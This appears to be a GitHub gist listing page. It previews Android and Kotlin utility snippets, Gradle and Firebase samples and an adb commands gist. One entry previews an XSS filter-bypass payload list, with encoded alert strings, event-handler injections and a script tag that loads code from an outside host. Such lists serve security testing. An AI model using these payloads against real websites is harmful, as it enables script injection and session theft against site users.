Skip to content

Instantly share code, notes, and snippets.

View jimmyFlash's full-sized avatar
:atom:

Jamal jimmyFlash

:atom:
View GitHub Profile
@steveliles
steveliles / Foreground.java
Last active November 27, 2024 07:23
Class for detecting and eventing whether an Android app is currently foreground or background (requires API level 14+)
package com.sjl.util;
import android.app.Activity;
import android.app.Application;
import android.content.Context;
import android.os.Bundle;
import android.os.Handler;
import android.util.Log;
import java.util.List;
@rvrsh3ll
rvrsh3ll / xxsfilterbypass.lst
Last active December 5, 2025 11:24
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@utkan
utkan / MusicNameType.java
Last active August 14, 2018 11:49
Typedef Annotations example
@StringDef({
POP,
ROCK,
JAZZ
})
@Retention(RetentionPolicy.SOURCE)
public @interface MusicNameType {}
@Pulimet
Pulimet / AdbCommands
Last active March 29, 2026 07:07
Adb useful commands list
Hi All!
I've recently launched a tool that wraps many of the commands here with a user interface. This desktop application is currently available for macOS. There's a roadmap outlining planned features for the near future.
Feel free to request any features you'd like to see, and I'll prioritize them accordingly.
One of the most important aspects of this application is that every command executed behind the scenes is displayed in a special log section. This allows you to see exactly what’s happening and learn from it.
Here's the link to the repository: https://github.com/Pulimet/ADBugger
App Description:
ADBugger is a desktop tool designed for debugging and QA of Android devices and emulators. It simplifies testing, debugging, and performance analysis by offering device management, automated testing, log analysis, and remote control capabilities. This ensures smooth app performance across various setups.
@sconstantinides
sconstantinides / App.js
Created May 1, 2018 23:37
Sample Firebase task app
import React, { Component } from 'react';
import firebase from '@firebase/app';
import firestore from './firestore'; // Code: https://gist.github.com/sconstantinides/546a48ba183b1234f750ca6261440199
class App extends Component {
constructor(props) {
super(props);
this.state = {
userId: localStorage.getItem('userId') || '',
@domnikl
domnikl / build.gradle.kts
Last active January 28, 2026 00:01
Gradle Kotlin DSL: set main class attribute for jar
tasks.withType<Jar> {
manifest {
attributes["Main-Class"] = "com.example.MainKt"
}
}
class SampleAdapter : RecyclerView.Adapter<SampleViewHolder>() {
private var itemList: List<SampleItem> = listOf()
fun setItems(newList: List<SampleItem>) {
val diffItemCallback = object : DiffUtil.Callback() {
override fun areItemsTheSame(oldItemPosition: Int, newItemPosition: Int) =
this.itemList[oldItemPosition].getItemId() == newList[newItemPosition].getItemId()
@robertohuertasm
robertohuertasm / EndlessService.kt
Last active December 25, 2021 09:21
foreground_services
class EndlessService : Service() {
private var wakeLock: PowerManager.WakeLock? = null
private var isServiceStarted = false
override fun onBind(intent: Intent): IBinder? {
log("Some component want to bind with the service")
// We don't provide binding, so return null
return null
}
@techyourchance
techyourchance / BaseObservable.java
Last active December 28, 2021 13:38
Base class for Java Observable
public abstract class BaseObservable<LISTENER_CLASS> {
private final Object MONITOR = new Object();
private final Set<LISTENER_CLASS> mListeners = new HashSet<>();
public void registerListener(LISTENER_CLASS listener) {
synchronized (MONITOR) {
boolean hadNoListeners = mListeners.size() == 0;
mListeners.add(listener);
private const val MIRROR = 180F
private const val INITIAL_DELAY = 0.15F
private val translucentBlack = Color.argb(50, 0, 0, 0)
fun speedDial(
anchor: View,
@ColorInt tint: Int = anchor.context.themeColorAt(R.attr.colorPrimary),
@StyleRes animationStyle: Int = android.R.style.Animation_Dialog,
layoutAnimationController: LayoutAnimationController = LayoutAnimationController(speedDialAnimation, INITIAL_DELAY).apply { order = ORDER_NORMAL },